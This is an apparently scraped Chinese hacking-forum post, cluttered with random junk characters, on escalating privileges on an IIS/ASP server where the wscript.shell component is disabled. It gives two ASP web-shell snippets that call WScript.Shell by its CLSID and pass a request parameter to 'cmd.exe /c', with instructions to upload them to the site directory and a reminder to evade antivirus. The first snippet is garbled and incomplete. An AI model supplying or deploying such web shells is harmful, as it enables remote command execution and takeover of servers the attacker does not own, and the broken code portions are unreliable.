没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
    b: i# }8 Q9 g. f& {+ E6 E
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  ) e8 p% K2 P; a- B
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  
• 把下面代码复制：
  ) r" b' U( X" ~& u$ E. l
• <%
  
• end if
  
• response.write(”")
  
• On Error Resume
  " `: t8 t1 C# z) F: F: x
• Next
  ( ^9 d2 P5 Z% D. x& |5 S* Z
• response.write oScriptlhn.exec(”cmd.exe /c” &
  5 Y" f* p" o1 C8 `( d+ z+ m
• request(”c”)).stdout.readall
  
• response.write(”")
  + ^/ X1 u* v+ b9 c
• response.write(”")
  
• response.write(”
  
• “)
  
• response.write(”")
  
• %>
  8 I1 T" V. p% v& w9 d1 Q& c
• 保存为一个asp文件，然后传到网站目录上去
  
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  8 i1 B# n. G/ U1 D0 r& d4 y$ H
• 我用此成功运行过cacls命令。
  
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  - A/ N' L# N( G2 [$ k
• <object runat=server id=oScriptlhn scope=page
  
• 
  
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  0 c& T9 L  e& j
• <%if err then%>
  " G8 h- l7 @+ B  b2 M, Z/ [/ T, d
• <object runat=server id=oScriptlhn scope=page
  ' ]  \0 z5 @1 _: E$ S
• 
  . v8 Z3 m5 P. S' o, h
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  & l+ h* u0 p1 ~
• <%
    f1 @0 Y: f, [) ^* q4 M
• end if
  
• response.write(”<textarea readonly cols=80
  ( g; K5 d- g0 g# Y: R8 v+ x' s! \
• 
  / z, q5 M! L4 x- F# S6 D
• rows=20>”)
  
• On Error Resume Next
  
• response.write
  # m7 b) {9 E4 d. `7 Y  n
• 
  5 R3 s- T( ?! k3 D4 `* k, @& X. M' N
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  
• response.write(”</textarea>”)
  3 o, r  t* u$ Y4 i: K% K
• response.write(”<form
  + p" t  m9 I/ P7 M6 U% l# e; f
• 
  
• method=’post’>”)
  $ l. m3 w- y- e$ G0 x
• response.write(”<input type=text name=’c'
  
• 
  8 A- u6 W" V4 U( Y# r4 o
• size=60><br>”)
  * H5 }% ]4 x6 [( p4 f
• response.write(”<input type=submit
  $ s8 v2 w: f2 }
• 
  
• value=’执行’></form>”)
  ) f6 s1 x8 c2 ?
• %>
  / A; b. W, }0 Y# S( G
• 保存为ASP，此代码可能被杀，请注意免杀。
  * p7 U1 M6 U: u0 L: J
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  / M" _7 j6 b4 _* O- N7 q, _

复制代码